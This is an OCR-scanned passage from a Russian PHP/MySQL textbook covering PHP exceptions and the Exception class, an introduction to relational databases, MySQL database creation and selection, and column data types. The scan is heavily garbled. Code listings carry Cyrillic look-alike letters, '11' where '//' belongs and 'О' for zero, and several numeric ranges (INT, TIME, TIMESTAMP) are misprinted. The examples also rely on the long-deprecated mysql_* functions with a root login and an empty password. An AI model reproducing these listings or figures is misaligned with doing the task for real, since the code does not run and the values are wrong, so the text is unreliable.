94 ?> Часть 1. Общие вопросы !! Фраза ВЫВОДИТСЯ , если было сгенерировано исключение ехit ("Произошла исключительная ситуация") ; !! Фраза ВЫВОДИТСЯ , если исключение не генерировалось echo "Штатная работа скрипта" ; в зависимости от того, возвращает функция rand () о или 1, выводится либо фраза Произошла исключительная ситуация, либо фраза Штатная работа скрипта. Следует обратить внимание, что если исключение не генерируется, то код в саtсl1-блоках не выполняется. В качестве исключения выступает объект класса Except ion, который созда­ ется при помощи кл ючевого new непосредственно при вызове оператора throw. Однако объект можно подготовить заранее, как это продемонстриро­ вано в листинге 1.79. Листинr 1.79. Предварительное созд ание объекта искnючения <?php try ?> if (rand (O, 1) ) $obj = new Exception () ; !! Генерация исключений throw $obj ; catch ( Exception $ехр ) !! Блок обработки исключительной ситуации ехit ( "Произошла исключительная ситуация") ; echo "Штатная работа скрипта "; При генерации исключения кл ючевое слово throw принимает объект класса Exception ил и производного класса.
гл ава 1. Объектно-ориентированные возможности РНР 95 - 1 .39. Интерфейс класса Exception Для э ффективного использования кл асса Except ion следует познако миться с его интерфейсом . В табл . 1.4 представлены чл ены кл асса Except i on, объяв­ л е н ные со спецификатором доступа protected, доступ к которым можно по­ лучить при помощи методов класса, а также из производных кл ассов. ЗА МЕЧАНИЕ Кл асс Exception относится К так называемым предопределенным кл ассам , то есть кл ассам, которые реализованы в РНР-интерпретаторе и не требуют реализации со стороны программиста . Таблица 1.4. ЗащищеННblе члеНbI класса Ex ception Член О писа ние $this->message Текстовое сообщение, описывающее исключител ь- ную ситуацию $this->code Ч исловой код , назначенный данному типу исключи- тел ьных ситуаций $this ->file Имя файла, в котором произошла исключител ьная ситуация $this->line Номер строки файла $this->file, в кото рой про- и зошла исключител ьная ситуация Так как члены кл асса Except ion объявлены со спецификато ром protected, доступ К ним осуществл яется при помощи методов класса, описание кото рых п р едставл ено в табл. 1.5. Та блица 1.5. Методы класса Ex ception Метод О писа ние pub lic funct ion Конструктор класса, инициализирующий члены - cons truct ( $message и $code; оба параметра не являются обя- $message = nul l, з ательными $code = О) final function Метод, возвращающий тексто вое сообщение в члене getMessage () $this->me ssage
96 Часть 1. Общие вопросы Таблица 1.5 (окончание) Метод Описа ние final function Метод, возвращающий числ овой код $thi s->code , getCode () характеризующий исключител ьную ситуацию final function Метод, возвращающий имя файла $th is->file, getFile () В котором произошла исключител ьная ситуация final function Метод, возвращающий номер стр оки $this->line, getLine () В кото рой произошла исключител ьная ситуация final function Стек обработки искл ючител ьной ситуации в виде getTrace () массива final function Стек обработки исключител ь ной ситуации в виде getTraceAs String () строки function П ерегрузка метода _toString ( ) , возвращающего - toString () строку при использовании объекта в ст роковом кон- тексте Класс Except ion является предопределенным и не требует объявления. Од­ нако если бы кл асс реализовывался внеш ним разработчиком, то он мог бы выглядеть так, как это представлено в листи нге 1.80. Листинг 1.80 . Гипотети ческая реализация класса Exception <?php class Except ion // Текстовое сообщение , описывающее // исключитель ную ситуацию protected $message = 'Unknown exception '; // ЧИСЛОВ ОЙ код , назначенный данному // типу исключительных ситуаций protected $code = О; // имя файла , в котором произошла // исключитель ная ситуация protected $file ; // Номер строки , в которой произошла / / исключительная ситуация protected $Нпе;
глава 1. Объектно-ор иентироваННblе возможности РНР - ?> 1 1 Конструктор кл асса , инициализирующий 11 члены $rnessage и $code (оба параметра 1 1 не являются обязательными) public function __cons t ruct ($rne ssage 1 1 Метод, возвращающий текстовое 1 1 сообщение в члене $this->rnessage public final function getMessage () ; 1 1 Ме тод, возвращающий числовой код 1 1 $this ->code , характеризующий 1 1 исключитель ную ситуацию public final function getCode () ; 1 1 Метод, возвращающий имя файла 11 $this->file, в котором пр оизошла 11 исключительная ситуация public final funct ion getFile () ; 1 1 Метод , возвращающий номер строки 1 1 $this->line , в которой пр оизошла 11 исключительная ситуация public final funct ion getLine () ; 11 Стек обработки исключитель ной 1 1 ситуации в виде ма ссива publ ic final function getTrace ( ); 11 Стек обработки исключительной 11 ситуации в виде строки nul l, $code publ ic final function getTraceAs String () ; 11 Пере грузка ме тода __toString () , 1 1 возвращающе го строку при исполь зовании 11 объе кта в строковом контексте publ ic function __toString () ; 97 О); Как ВИДНО из табл . 1.5 и листинга 1.80, конструктор класса Except ion позво­ ляет инициализировать защищенные члены $rnessage и $code, что бывает по­ лезно, если в контролируемом блоке генерируется нескол ько исключений (листинг 1.81).
98 Часть 1. Общие вопросы Листинr 1.81 . Переда ча сообще н ия и кода из то чки генерации исключения <?php try ?> $code = rand(O, l) ; if (!$code ) // Генерация исключений throw new Ехсерtiоn ("Первая точка входа ", $code) ; else // Генерация исключений throw new Ехсерtiоn ("Вторая точка входа ", $code) ; catch ( Exception $ехр) // Блок обработки исключительной ситуации echo "Исключение ($exp->gеtСоdе () ) : (.$ exp->gеtМе ssаgе () ) <br>"; echo "в файле ( $exp->gеtFi1е () )<br>"; echo "в строке ( $exp->gеtLinе () ) <br> "; В зависимости от возвращаемого функцией генерации случай ного значения rand () (О или 1) скрипт из листинга 1.81 выводит в окно браузера последова­ тел ьность строк либо для первого оператора throw: Исключение О : Первая точка входа в файле D: \main\oop\08\index . php в строке 8 либо для второго : Исключение 1 : Вторая точка входа в файле D: \main\oop\08\index . php в строке 13 Таким образом, можно однознач но определить, в каком контексте было сге­ нерировано исключение, даже есл и контролируемый блок try содержит не­ сколько вызовов оператора throw.
ГЛАВА 2 Работа с СУБД MySQL в настоящее время ни одно серьезное Web-приложение не может обойтись без работы с базой данных, обеспечивающей почти безграничные возможно­ сти манипул ирования данными: сортировка, поиск, преобразование, редакти­ рование и многое другое. При это м все низкоуровневые операции с файловой системой скрыты от программиста за несложными SQL-запросам и. Работа с базой дан ных имеет как свои преимущества, так и недостатки. К достоинст­ вам можно отнести значительное (иногда в 2-3 раза) снижение объема кода п о сравнению с файловыми вариантам и Web-приложений, что сокращает время разработки и упрощает процесс отладки . К недостаткам можно отнести зависимость приложения не тол ько от работоспособности Web-сервера, но и от работоспособности сервера баз дан ных. Разумеется, вероятность того, что од ин из двух серверов может выйти из строя, выше, чем есл и бы работа Web­ приложения зависела только от одного сервера. Кроме того, непосредствен­ ная работа с файловой системой осуществляется быстрее по сравнению со случае м, когда в качестве посредника для работы с ней выбирается СУБД. Так поисковая система Google, известная высокой скоростью обработки за­ просов, основана на модел и плоских файлов и не испол ьзует базы данных. С другой стороны, РНР, как интерпретируемый язык, не может достичь про­ изводител ьности баз данных, реализованных на С. В последнее время СУБД MySQL стала стандартом де-факто, благодаря сво­ ей надежности, производительности, низкой стоимости, простоте установки, настройки и обслужи вания. ЗА МЕЧАНИЕ Установка и настройка сервера и клиентов MySQL рассматривается в прu­ ложе нии 2.
100 Часть 1. Общие вопросы Поскол ьку MySQL будет испол ьзоваться в качестве СУБД на протяжении всей книги, эта гл ава цел иком посвящена приемам работы с MySQL. ЗА МЕЧАНИЕ Данная глава является вводной в СУБД MySQL. Всестороннему рассмот­ рению предмета посвящены наши кн иги " Самоуч ител ь MySQL 5", "MySQL 5 . В подлиннике" и " MySQL на примерах" . 2.1 . Введение в СУБД и SQL Системы управления базами данных (СУБД) предназначены дл я управления большими объемами данных. По сути, база данных - это те же файлы, в ко­ торых хранится информация . Сами по себе базы данных не представляли бы никакого интереса, есл и бы не было систем управления базами данных, со­ кращенно - СУБД. СУБД - это программный ком плекс, который выпол ня­ ет все низкоуровневые операции по работе с файлами базы данных, оставляя программисту оперировать логическими конструкциями при помощи языка программирования. ПРИМЕЧАНИЕ База данных - это файловое хранилище информации, и не более. П ро­ граммные продукты типа MySQL, Oracle, Dbase, Iпfо гmiх, PostgreSQL и др. - это системы управления базами данных (СУБД). Базы данных вез­ де одинаковы - это файлы с записанной в них информацией. Все указан­ ные программные продукты отличаются друг от друга способом организа­ ции работы с файловой системой. Однако для краткости эти СУБД часто называют просто базами да нных. Следует учиты вать , что когда мы будем го ворить "база данных" - речь будет идти именно о СУБД. Яз ык программирования, с помощью которого пользовател ь общается с СУБД (или, как говорят, "осуществляет запросы к базе данных"), называется SQL (Structured Query Language, структурированный язык запросов). Таким образом, для получения информации из базы данных необходимо на­ править ей запрос, созданный с использованием SQL, резул ьтатом выполне­ ния которого будет резул ьтирующая таблица (см . рис. 2. 1). Несмотря на то, что SQL называется "языком запросов", в настоящее время этот язык представляет собой нечто большее, чем просто инструмент дл я создания запросов. С помощью SQL осуществляется реал изация всех воз-
глава 2. работа с СУБД MySQL 101 - м ож н осте й , которые представляютс я пользователям разработчикам и СУБд, а именно: C:J выб орка дан ных (извлечение из базы данных содержащейся в ней ин­ формации); C:J орга н и зация данных (определение структуры б азы данных и установле­ н ие отношений между ее элементами); C:J обр аботка да нных (доб авление/изменение/удаление); C:J упр авление доступом (ограничение возможностей ряда пользователей на досту п к некоторым категориям данных, защита данных от нес анкциони­ рованного доступа); C:J обес печение целостности данных (защита б аз ы данных от разрушения); C:J управление с остоянием СУБД. SQL не является специализированным языком программирования, то есть, в отличие от языков высокого уровня (РНР, С++, Pascal и т. д .), С его помощью невозмОЖНО создать полноценную программу. Все запросы вып ол няютс я ли­ бо в специализированных программах, либо из прикладных программ при помо щи с пециальных библиотек. Нес мотря на то, что язык запросов SQL строго стандартиз ирован, с уществует множество его диалектов: по сути, каждая база дан ных реализует с вой собст­ в енный диалект со своими особенностями и кл ючевыми словами, недоступ­ ными в других базах данных. Такая ситуация с вязана с те м, что стандарты SQL появились достаточно поздно, в то время как компании-постав щики баз данных существуют давно и обслужив ают большое число клиентов, для ко­ то рых требуетс я обес печить о б ратную совместимость с о старыми верс ия ми п рограммного обеспечения . Кроме того, рынок реляционных баз дан ных оперирует сотнями миллиардов долларов в год, в с е ко мпании находятс я в жестко й конкуренции и постоя нно совершенствуют свои продукты . Поэто му, ко гда дело доходит до принятия стандарто в, базы дан ных уже имеют реал и­ зацию то й или иной особенности, и ком иссии по стандартам в условиях же­ стк о го давл ения приходится выбирать в качестве стандарта решение од ной из ко нкурирующих фирм . Теория реляционных баз данных была разработана доктором Коддом из ком­ пан ии IВM в 1970 году . Одной из задач реляционной модели была попытка уп­ ростить структуру базы данных. В ней отсутствовали явные указатели на пред­ ков и потомков, а все данные б ыл и представл ены в виде простых табл иц, разбитых на строки и стол бцы, на пересечении которых рас положены данные.
102 Часть 1. Общие вопро сы Можно кратко сформулировать особенности реляционной базы дан ных. О Дан ные хранятся в табл ицах, состоящих из столбцов и строк. О На пересечении каждого столбца и строки находится тол ько одно зна­ чение. о у каждого столбца есть свое имя, кото рое служит его названием, и все значения в одном стол бце имеют один тип. Например, в столбце id_ catalog все значения имеют целочисленный тип, а в стол бце name ­ текстовый. о Стол бцы располагаются в определенном порядке, который задается при создании табл ицы, в отличие от строк, которые располагаются в произ­ вольном порядке. В табл ице может не быть ни одной строки, но обяза­ тел ьно долже н быть хотя б ы од ин стол бец. О Запросы к базе данны х возвращают резул ьтат в виде табл иц, которые то­ же могут выступать как объект запросов. Таблица catalogs id catalog пате 1 Процессоры 2 Материнские платы Строка 3 Видеоада птеры 4 Жесткие диски 5 Операти вная память Столбец Рис. 2.1 . Табл ица реляционной базы да нных На рис. 2. 1 приведен пример табл ицы catalogs базы данных электронного магазина издел ий компьютерных комплектующих, которые подразделя ются на раздел ы. Каждая стр ока этой табл ицы представляет собой оди н вид товар­ ных позиций, дл я описания КОТОРОЙ испол ьзуется поле id_ catalog - уни­ кал ьный номер раздел а, п ате - название раздела. Столбцы определяют структуру табл ицы, а строки - кол ичество записей в табл ице. Как правило, одна база данных содержит несколько табл иц, которые могут быть как связа­ ны друг с другом, так и независимы друг от друга. На рис. 2 .2 приведена структура базы данных, состоящей из двух табл иц: catalogs И products. Табл ица catalogs определяет кол ичество и названия
гл ава 2. Работа с СУБД MySQL 103 - разделов, а таблица products содержит описание то варных позиций. Одной тов ар ной позиции соответствует одна строка таблицы. Последнее поле таб­ лицы products содержит значения из поля id_catalog табл ицы catalogs . По это м у значению можно однознач но определить, в каком разделе находится товарная позиция. Таким образом, табл ицы оказ ы ваются связанными друг с друго м. Эта связь условна, она может отсутствовать и в большинстве случаев п роявл яется тол ько в результате специальных запросов, од нако именно бл а­ годаря наличию связей такая форма организации информаци и получила на­ звание реляционной (связанной отношениями). Таблица prud!lcts Тdбли uа Ca!al(1gs id poduct ... id catalog id catalog пате 1 2 3 4 5 6 7 8 9 ... 2 А I Процессоры ... 5 2 Материнские платы ... I 3 В идеоадапт�ры ... 1 4 Жесткие диски ... 1 5 Оперативная память ... 5 ... 2 ... 4 ... 3 Рис. 2 .2. Связанные друг с другом та блицы ПРИМЕЧА НИЕ В математике табл ица , все ст роки которой отличаются друг от друга , назы­ вается отношением, - по-английски гe lati on. Именно это му те рмину реля­ ционные базы данных и обязаны своим названием. Сил а реляционных баз д анных заключается не тол ько в уникал ьной органи­ зации информации в виде табл иц. Запросы к табл ицам базы данных таюке возвращают табл ицы, которые называют результирующими табл ицами. Даже если возвращается всего одно значение, его принято сч итать табл ицей, со­ стоящей из одного столбца и одной строки . То, что SQL-запрос возвращает та блицу, очень важно: это означает, что результаты запроса можно записать обратно в базу данных в виде таблицы, а результаты двух или более запро­ со в, которые имеют один аковую структуру, можно объединить в одну табли­ цу. И, наконец, это говорит о то м, что резул ьтаты запроса сами могут стать п редм етом дальнейших запросов.
104 Часть 1. Общие вопросы 2.2. П ервич ные ключи Строки в реляционной базе да нных неупорядочены: в табл ице нет "первой" , "последней", "тридцать шестой" и "сорок третьей" строки . Возникает вопрос : каким же образом выбирать в табл ице кон кретную строку? Для этого в пра­ вильно спроектированной базе дан ных ДЛЯ каждой таблицы создается один или нескол ько стол бцов, значения которых во всех строках различны. Такой стол­ бец называется nервичным ключом таблицы . Первичный ключ обычно сокра­ щенно обозначают как РК (primary key). Никакие из двух записей табл ицы не могут иметь одинаковых значений первичного кл юча, благодаря чему каждая строка табл ицы обладает своим уникальным идентификат ором. Так, на рис. 2 .2 в качестве первичного ключа табл ицы products выступает поле id_p roduct, а в качестве первичного ключа табл ицы catalogs - id_catalog. По способу задан ия первичных ключей разл и чают логические (естественные) ключи и суррогатные (искусстве нные). Для логического задан ия первичного ключа необходимо выбрать в табл ице столбец, который может однозначно установить уникал ьность записи . При­ мером такого ключа может служить поле "Номер паспорта", поскольку каж­ дый такой номер является единственным в своем роде . Однако дата рожде­ ния уже не уникальна, поэтому соответствующее поле не может выступать в качестве первичного кл юча. Есл и подходящих стол бцов дл я естественного задания первичного ключа н е находится, пользуются суррогатн ым кл ючом. Суррогатный ключ представля­ ет собой дополнительное поле в базе данных, предназначенное для обеспече­ ния записей первичным ключом (именно такой подход принят на рис. 2 .2). СОВЕТ Даже если в базе данных содержится естественный первичный ключ, луч­ ше использовать суррогатные ключи, поскол ьку их применение позволяет абстраги ровать первичный кл юч от реальных данных. Это облегчает рабо­ ту с таблицами, поскол ьку суррогатные ключи не связаны ни с какими фак­ тическими данными таблицы. Как уже упоминалось, в реляционных базах дан ных табл ицы практически всегда логически связаны друг с другом. Одним из предназначений первич­ ных ключей и является однозначная организация такой св,язи. Рассмотрим, например, уже упоминавшуюся базу данных электронного мага­ зина (рис. 2 .3). Каждая из табл иц имеет свой первичный кл юч, значение ко-
гл ава 2. Работа с СУБД MySQL 105 - торо го уникально в пределах табл ицы. Еще раз подчеркнем, что табл ица не обя з ан а содержать первичные кл ючи, но это очень желател ьно, есл и дан ные с вяз ан ы друг с другом. Столбец id_ catalog табл ицы products принимает знач е н ия из столбца id_ catalog таблицы catalogs . Благодаря тако й связи мы м ожем выстроить иерархию товарных позиций и определ ить, к какому разделу о ни относятся . Поле id_ catalog таблицы products называют внеш­ н и м ил и вторичным кл ючом. Внешний ключ сокращенно обозначают как FK (fО l'еigп key). Первичный ключ Вторичный КЛЮЧ ДЛЯ связи Первичный КЛЮЧ / таблицы ргоdпсts / стаблицей catalogs / табл ицы catalogs Та6mща rl Udш;ts Та6лнца catalogs id""poduct ... id catalog id catalog паше 1 ... 2 1 Процессоры 2 ... 5 2 Материнские платы 3 ... 1 3 Видеоадаптеры 4 ... 1 4 )КеСТКl!е ДИСКИ 5 ... 1 5 Оперативиая память 6 ... 5 7 ... 2 8 ... 4 9 ... 3 Рис. 2.3 . Связь между таблицами products и catalogs 2.3. Создание и удаление базы данных в СУБД My SQL создание баз ы дан ных сводится к созданию нового подкатало­ га в катал оге данных. По умолчанию для пользовател ей операционной системы Windows это катал ог C:\mysq I5\data, для пол ьзователей RedHat­ ориентированных дистрибутивов Liпuх - /varllib/mysq l. Далее, упоминая путь C :\mysq I5\data, мы будем иметь в виду катал ог данных, который, в общем слу­ чае, не обязател ьно должен располагаться в катал оге C:\mysqI5\data. Создание баз ы данных средствами SQL осуществляется при помощи операто ра CREATE DATABAS E. В листинге 2. 1 приведен пример создания базы да нных wet . Листинг 2.1 . Созда ние базы данных we t CREAТE DATAВASE wet ;
106 Часть 1. Общие вопросы ЗАМЕЧАНИЕ В этом и последующих лист ингах жи рным ш рифтом отображается S QL­ запрос, вводимый пользователем, а обычным - ответ сервера . Посл е выполнения запроса из листинга 4. 1 можно обнаружить в каталОге C:\mysq I5\data новый каталог wet. ЗАМЕЧАНИЕ Н ачиная с версии 4.1 .1 , в каталоге базы да нных создается также файл db.opt, в кото ром указывается кодировка, используемая в базе да нных по умолчанию de faul t-character- set, И порядок сорти ровки символов de fault-collation. Проконтролировать создание базы дан ных, а также узнать имена сущест­ ву ющих баз дан ных можно при помощи операто ра SHOW DATABAS ES (л ис­ тинг 2.2). Листинг 2.2 . Использование оператора SHOW DATAВASES SHOW DATAВASE S; + ------- ------ -------+ I Database + ----- ---------------+ information schema mys ql test wet + ----------------- ---+ Как видно из листинга 2.2, оператор SHOW DATAВASES вернул имена четырех баз дан ных. Базы данных informa tion_s chema И mysql являются служебными и необходимы дл я поддержания сервера MySQL в работоспособном состоя­ нии - в них хранится информация об учетных записях, региональных на­ стройках и т. п. ЗАМЕЧАНИЕ База данных my sql является реальной базой данных, а information_s chema - виртуал ьной, именно поэтому в каталоге да нных нет подкаталога с соответствующим именем.
глава 2. Работа с СУБД MySQL 107 - Попробуйте создать в катал оге С:\шуsqI5\dаtа\ новый катал ог и вы полнить п осле этого запрос SHOW DATABASES - созданная таким образом база дан ных будет отображе на в списке баз данных. Удаление катал ога приведет к исчез­ новен ию базы данных. Удаление базы данных можно осуществить и штатными средствам и при по­ м ощи оператора DROP DATABASE, за которым следует имя базы данных (л ис­ тинг 2 .3). Листинг 2.3 . Удале ние базы данных wet DROP DATAВASE wet ; SHOW DAТAВASE S; +-- ------ - ---------- - + I Database + -- - ----------------- + infor.mation_s cherna I rnysq1 I test +- --- ------- ---------+ После выполнения оператора DROP DATABASE можно убедиться, что из ката­ л о га дан ных С:\шуsqI5\dаtа\ был удален подкатал ог wet. Если производится попытка создания базы данных с уже существующим им енем, возвращается ошибка (листинг 2.4). ЗАМЕЧАНИЕ Так как имя базы данных - это имя катал ога, то чувствител ьность к реги­ стру определяется кон кретн ой операционной системой. Так в операцион­ ной систе ме Windows имена wet И Wet будут обозначать од ну и ту же базу данных, в то время как в UNIХ-подобной операционной системе это будут две разные базы данных. Листинг 2.4 . Невозможно создать базу да нных wet: база да нных существует CREAТE DATAВASE wet ; Query ОК , 1 row affected (0.00 sec ) CREAТE DATAВASE wet ; ERROR 1007 : Can't create database 'wet '; database exists
108 Часть 1. Общие вопросы При создании базы данных можно указать кодировку, которая будет назна­ чаться таблицам и столбцам по умолчанию. Для этого после имени базы дан­ ных следует указать конструкцию OE FAU LT CHARACTER SET ch arset_name, где ch a r se t_ пате - имя кодировки, например, ср 1251, которая обозначает рус­ скую Wiпdоws-коДировку (листинг 2.5). Листинг 2.5. Назначение коди ровки по умолчанию CREAТE DATAВASE wet DEFAUL T CНARACТER SET ср1251 ; Указание кодировки приводит к созданию в каталоге базы данных C:\mysqI5\data\wet\ файла db.opt следующего содержания : de fault-character-set=cp1251 de fault-collation=cp1251_general ci 2.4. Выбор базы данных Перед началом работы следует выбрать базу данных, к табл ицам которой бу­ дет осуществляться обращение. Каждая кл иентская про грам ма решает эту задачу по-своему. Например, в консольном кл иенте mys ql выбрать новую базу данных можно при помощи USE. В листинге 2.6 при помощи команды USE в качестве текущей выбирается база данных test. Листинг 2.6. Использование команды USE USE tes t; Если текущая база данных не выбрана, то обращение по умолчанию будет заканчиваться сообщением об ошибке - No database selected (База данных не выбрана) (листинг 2.7). ЗАМЕЧА НИЕ Оператор SHOW TABLES выводит список таблиц в те кущей базе данных. Листинг 2.7. База данных не выбрана SHOW TAВLES ; ERROR 104 6 (30000) : No database selected
глава 2. Работа с СУБД MySQL 109 - можн о не выбирать текущую базу данных, однако в этом случае во всех опе­ ратор ах придется ее указывать явно (л истинг 2.8). листинг 2.8 . Явное указание базы да нных в операторе SHOW TAВLE S SHOW TAВLES FROM tes t; При обращении к табл ицам потребуется явное указание префикса базы дан­ ных, например, в листинге 2.9 из таблицы User базы дан ных mys ql извлека­ ются поля User И Ho st. Листинг 2.9 . Явное указание базы да нных в опер аторе SELECT SELECT mysql .User .User , mysql .User .Host FROM mysql .User ; В результате явного обращения к базам данных SQL-запросы становятся дос­ таточно громоздкими и менее гибкими, так как смена имени базы данных требует изменения SQL-запроса. В программах, обращающихся к MySQL-серверу, для выбора базы данных испол ьзуется функция mys ql_select_db () (л истинг 2.1 О). ЗА МЕЧАНИЕ Более подробно каждая из функций листи нга 2 . 1 О обсуждается в следую­ щих разделах те кущей гл авы. Л исти нг 2.10. Выбор базы да нных пр и помощи функции <?php 11 Адрес с ервера MySQL $dblocat ion = "localhost "; 11 имя базы данных $dbname = "test"; 11 имя пользователя базы данных $dbus er = "root" ; 11 и его пароль $dbpasswd = ""; 11 Устанавливаем соединение с базой данных $dbcnx = @mysql_connect ($dblocat ion, $dbu ser, $dbpasswd) ;
110 Часть 1. Общие вопросы if (!$dbcnx ) exit ( "<Р>В настоящий моме нт сервер базы данных не доступен, поэтому корректное отображение страницы невозможно .</Р>" ); // Выбираем базу данных if (! @mysql_s elect_db ($dbname , $dbcnx ) ) ( exit ( "<Р>В настоящий момент база данных не доступна, поэтому корректное отображение стр аницы невозможно .</Р>" ); // Настраиваем кодировку соединения @mys ql_que ry ("SET NAМES 'cp1251 "' ) ; ?> 2.5. Ти пы данных Как сообщалось ранее, табл ицы состоят из стол бцов и строк. Тип дан ных по­ ля определяется стол бцом . Список наиболее часто встречающихся типов приведен в табл. 2.]-2.3 . К числовым типам относятся цел ые числа и числа с плавающей то чкой. Для чисел с плавающей точ кой кроме максимальной ширины отображе ния можно таюке указывать число значащих цифр посл е запято й, далее обозначаемое символом Р. Тип ЗАМЕЧАНИЕ Здесь и далее необязател ьные элементы синтаксиса будут заключаться в квадратные скобки . Так, запись TINYINT [ (М) ] означает, что элемент может быть записан и как TINYINT, и как TINYINT (М) . Таблица 2. 1 . Числовые типы Объем Диапазон допустим ых значений зан и маемой памяти TINYINT [ (М) ] 1 байт от-128до 127 (от_2 7 до 27 -1) отОдо255(отОдо28_1)
гл ава 2. Работа с СУБД MySQL - тип Объем зани маемой памяти SMALLINT [ (М) ] 2 байта MEDIUMINT [ (М) ] 3 байта INT [(М )], 4 байта INTEGER [(М) ] ВIGINT [ (М) ] 8 байт BIT [(М) ] (М+7)/8 байт BOOL , 1 байт BOOLEAN DECIMAL [(М[, О ])], М + 2 байта ОЕС [(М[,О )]], NUMERUC [ (М[,О) ] ] FLOAT [ (М,О)] 4 байта DOUBLE [ (М,О)] , 8 байт REAL [(М,О)], DOUBLE PRECISION [(М,О)] 111 Таблица 2. 1 (окончание) Диапазон допусти мых значени й от -32768 до 32767 (от _2 15 до 215_1) от О до 65535 (от О до 216_1) от -8388608 до 8388608 (от _2 23 до 223_1) от О до 16777215 (от О до 224_1) от -2 1 47683648 до 2147683648 (от _2 31 до 231_1) от о до 4294967295 (от О до 232_1) (от _2 63 до 263_1) (от О до 264) От 1 до 64 бита, в зависимости от значе- ния М Оили1 Повышенная точность; зависит от пара- метровМиО Минимал ьное значение ±1 , 1 75494351 ·10- 39 Максимальное значение ±3 ,402823466·10 38 Минимальное значение ±2 ,2250738585072014-10 - 308 Максимальное значение ±1 ,7976931 3486231 5·1 0 308
112 Часть 1. Общие вопросы Дл я целых типов данных можно о граничить допусти мый диапазон тол ь ко положител ьными знач ениями, указав при объя влении типа кл ючевое сл ово UN SIGNED. В этом случае элементам данног о столбца нельзя будет присвоить отрицател ьные значения, а допустимый диапазон пол ожител ьных значений удвоится . Так, тип ТINYINT может принимать значения от -128 до 127, а TINYINT UN SIGNED - от О до 255. При объя влении целого типа может задаваться кол ичество отводимых под число символов м (от 1 до 255). При использовании этог о необязател ьного параметра выводимые значения, содержащие меньшее кол ичество символов, будут дополняться пробелами слева. При этом, однако, не накладывается о г­ раничений ни на диапазон вел ичин, ни на кол ичество разрядов. Если кол иче­ ство символов выводимог о числа превышает М, под столбец будет выделено больше символов. Диапазон вещественных чисел помимо максимальног о значения имеет таюке минимальное значение, кото рое характеризует то чность дан ного типа. Пара­ метр м в табл . 2. 1 задает кол ичество символов, отводимых для отображе ния всего числа, а о - для его дробной части. Числовые типы данных с плавающей точкой также могут иметь параметр UN SIGNE D. Как и в целочисленных типах, этот атрибут предотвращает хра­ нение в отмеченном стол бце отр и цател ьных величин, но, в отличие от це­ лочисленных ти пов, максимальный интервал дл я величин столбца остается прежним. ЗАМЕЧАНИЕ Приближенные числовые да нные могут задаваться в обычной форме, на­ пример, 45.67 и в так называемой научной нотации, например 5.456Е-02 или 4.674Е+04. Символ Е означает, что стоящее перед ним число следует умножить на 1 О в степени, указанной после Е . П ривед енные в предыдущих примерах числа можно записать как 0.05456 и 46740. Такой формат введен для удобства записи, та к как числа в 300 степени неудобно предста влять в обычном десятичном виде . При выборе столбцов для формирования структуры табл ицы необходимо о б­ ращать внимание на размер, занимаемый тем или иным типом дан ных: есл и значения, размещаемые в базе дан ных, нико гда не будут выходить за преде­ лы 100, не следует выбирать тип больше TINYINT . Есл и же в полях стол бца предполаг ается хранить тол ько целочисленные дан ные, то применение атр и­ бута UN SIGNED позволит увеличить диапазон допусти мых значений в два раза.
гл ава 2. Работа с СУБД MySQL 113 - сУБД MySQL предлагает 5 типов данных для столбцов, хранящих кал ендар­ ные даты и время: DATE, DATETIME, TIME, TIMESTAМP И YEAR (табл . 2.2). ТИП DATE предназначен для хранения даты, TIME - для времени суток, а T IME S TAМP - для представления и даты и времени суто к. ТИП TIME STAМ P предназ начен для представления даты и времени суток в виде кол ичества се­ кунд , прошедших с 1 января 1970 года. Тип данных УЕМ позволяет хранить только год . Таблица 2.2. Ка лендарные типы данных ТИП Объем памяти Диапазон DATE 3 байта от '1 000-01-01 ' ДО '9999-1 2-31 ' TIME 3 байта от '-828:59:59' ДО '828:59:59' DATAT IME 8 байт от '1 000-01-01 00:00:00' ДО '9999-12-31 00:00:00' TIME STAМP [ (М) ] 4 байта от '1 970-01-01 00:00:00' ДО '2038-12-31 59:59:59' YEAR [(М) ] 1 байт от 1901 до 21 55 ДЛ Я УЕАR(4) от 1970 ДО 2069 ДЛЯ YEAR (2) Для значений, имеющих типы DATE и DATET IME, В качестве первого числ а ожидается год либо в формате уууу (например, '2005- 10-15'), либо в форма­ те уу (например, '05- 10-15'). После года через деф ис указывается месяц в формате ММ (1О), а затем число в формате DD (15). В типах TIME и DATEТ IME время приводится в привычном формате Ы1 :ШШ:SS, где Ы1 - часы, ШШ - минуты, а ss - секунды. Дни, месяцы, часы, минуты и секунды можно записывать как с предваряющим нулем (О 1), так и без него (1). Все следующие записи идентичны: '2005-04-06 02 :04:08' '2005-4 -06 02 :04:08' '2005-4 -6 02 :04:08' '20 05-4 -6 2:04:08' ' 2005-4 -6 2:4:08' ' 2005-4-6 2:4:8'
114 Часть 1. Общие вопросы В качестве раздел ителя между годами, меся цами, днями, часами, минутами и секундами может выступать любой символ, отличный от цифры. Так, сл е ­ дующие значения идентичны : '05-12- 31 11 :30:45' '05.12.31 11+ 30+45 ' '05/12/31 11*30*45 ' '05@12@31 11Л30Л45 ' Дата и время суто к могут также быть представл ены в форматах 'УУУУММDDllhшшss' и 'YVММDDI1I1ШШSS'. Например, строки '20050523091528' и '05052309 1528' аналогичны '2005-05-23 09: 15:28', однако строка '0511221290 15' уже не может рассматриваться как дата и время суток, так как ожидаемое для минут значение равно 90 и выходит за допустимы й интервал . Вместо строк допустимы и целочисленные значения, например, 20050523 09 1528 и 050523 09 1528 рассматриваются как '2005-05-23 09: 15: 28'. Начиная с версии My SQL 4. 1 .1, при указании времени суток допусти мо ука­ зан ие после секунд через точку также микросекунд: ы1 шш:ss.fffffff (напри­ мер, '10:25: 14.00000 1'). Кроме расш иренного формата можно испол ьзовать краткие форматы 'НН:ММ' и 'НН : вместо неуказанных величин будут под­ ставл ены нулевые значения. Строковые ти пы данных, максимальный размер и требования к памяти при­ ведены в табл . 2.3 . Та блица 2.3 . СтРОКО8ые типы данных Тип Объе м занимае мой Максимальный памяти, байт размер строки CНAR (М) М М символов VARCHAR ( М ) L+1 М символов TINYBLOB , TINYTEXT L+1 2 8_1 символов BLOB , ТЕХТ L+2 i6 _1 символов ME DIUMBLOB , ME DIUMTEXT L+3 224 _1 символов LONGBLOB , LONGTEXT L+4 232 _1 символов ENUM ('value l ', 'value2 ', ...) 1или2 65 535 элементо в SET ('valuel ', 'value2 ', ...) 1,2,3,4или8 64 элемента
